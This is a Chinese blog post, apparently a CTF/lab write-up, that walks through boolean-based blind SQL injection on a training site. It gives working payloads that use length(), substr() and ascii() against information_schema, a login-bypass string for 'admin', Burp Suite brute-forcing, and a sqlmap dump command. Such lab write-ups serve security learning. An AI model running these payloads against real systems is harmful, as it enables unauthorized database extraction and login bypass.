其他分享
首页 > 其他分享> > 盲注 掌控安全

盲注 掌控安全

作者:互联网

有时候,网站只会给我们极其简单的回显,如只告诉我们是否登录成功,甚至有时候根本没有响应。此时,基于报错的注入彻底失效,我们把这种回显极少甚至没有的情况下的注入攻击称为盲注,它本质上是一种暴力破解。
在我们输入and 1或者and 0,浏览器返回给我们两个不同的页面,而我们就可以根据返回的页面来判断正确的数据信息。页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。

emm,看题。
第一题
在这里插入图片描述
在这里插入图片描述

id=1和id=2是两种不同的页面,所以我们可以通过这来获取我们想要的信息。
我们先判断字段数
order by 3
在这里插入图片描述

order by 2
在这里插入图片描述

emm,很明显,两个字段。
那接下去我们就要判断数据库名了,
语句
union select 1,database()
在这里插入图片描述

emm,傻了,这怎么玩呐,
我们回到布尔盲注只有true和false这一特性上来,
这里介绍一个函数
length(string)(字符串)
判断字符串的长度
语句
and length(database())>20

在这里插入图片描述
在这里插入图片描述

用二分法判断数据库的字符长度为12个字符
这里在介绍一个函数
substr(string,start,length)(字符串,开始位置,截取长度)
语句
and substr(database(),1,1)>’a’
在这里插入图片描述
在这里插入图片描述

接下去就应该是burpsuit跑包了,但这里还有一个问题,就是burpsuit的攻击模块里面没有a到z,A到Z,所以这里还得介绍一个函数
ASCII(字符)函数用于将字符转换为ASCII码
语句
and ascii(substr(database(),1,1))=65(65是A的accii码,详情见ASCII表)
上burpsuit
在这里插入图片描述

这里有点问题,1和and之间没有空格,所以我一开始爆破不出来,后来改了改就好了,

在这里插入图片描述
在这里插入图片描述

emm,我们成功爆破出了数据库名,组装一下就好
在这里插入图片描述

kanwolongxia ???这神马神仙数据库名
然后,接下去查表明,这里还是用到了子查询
语句
and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>1
在这里插入图片描述

这里不知道怎么回事,不用group_concat()函数就做不出来。
这里二分法得到总共表的长度为16
在这里插入图片描述

判断表名
语句
and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)>’a’

在这里插入图片描述

这里得到第一个字符是“l”
语句
and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)=’l’
在这里插入图片描述

还是上burpsuit

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

emm,我用burpsuit跑,有个别跑不出来,又单独跑了第二遍才跑出来。
我们得到了loflag表。
接下去得到字段
语句
and length((select group_concat(column_name) from information_schema.columns where table_name=’loflag’))>1
判断字段长度

在这里插入图片描述
在这里插入图片描述

二分法判断得字段长度为9
接下去判断字符
and substr((select group_concat(column_name) from information_schema.columns where table_name=’loflag’),1,1)>’a’
在这里插入图片描述

在这里插入图片描述

emm,ascii函数又能用了。
继续上burpsuit。
在这里插入图片描述
在这里插入图片描述

爆破出了字段名 Id,flaglo
接下去,判断数据长度
语句
and length((select group_concat(flaglo) from loflag))>1

在这里插入图片描述
在这里插入图片描述

emm,数据长度=55,
接下去判断字符
语句
and substr((select group_concat(flaglo) from loflag),1,1)>’a’
在这里插入图片描述
在这里插入图片描述

ascii函数还能用。
继续上burpsuit。

在这里插入图片描述
在这里插入图片描述

和之前一样,有个别扫不出来,又跑了一下。
emm,这一题太烦了,一直在burpsuit跑包。
至于sqlmap做法嘛,这一题扫不出来,只能在别的题下扫出这一题的数据库再扫出数据来。
第二题
语句
“and length(database())=12— domren
在这里插入图片描述

这一题是闭合就行,其他同第一题,这里不多赘述。
第三题
语句
admin’and length(database())=12— domren
在这里插入图片描述

这是这一题的万能密码,而且用户名必须是admin。其他做法同上。
突然间想起来,我第一题burpsuit不是跑出了数据库名,表命和字段名嘛,那sqlmap不是,emm
语句
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -D kanwolongxia -T loflag -C flaglo —dump

在这里插入图片描述

emm,跑burpsuit太费时间了。。

标签:语句,掌控,group,database,emm,安全,table,盲注,burpsuit
来源: https://blog.csdn.net/qq_43304861/article/details/115799662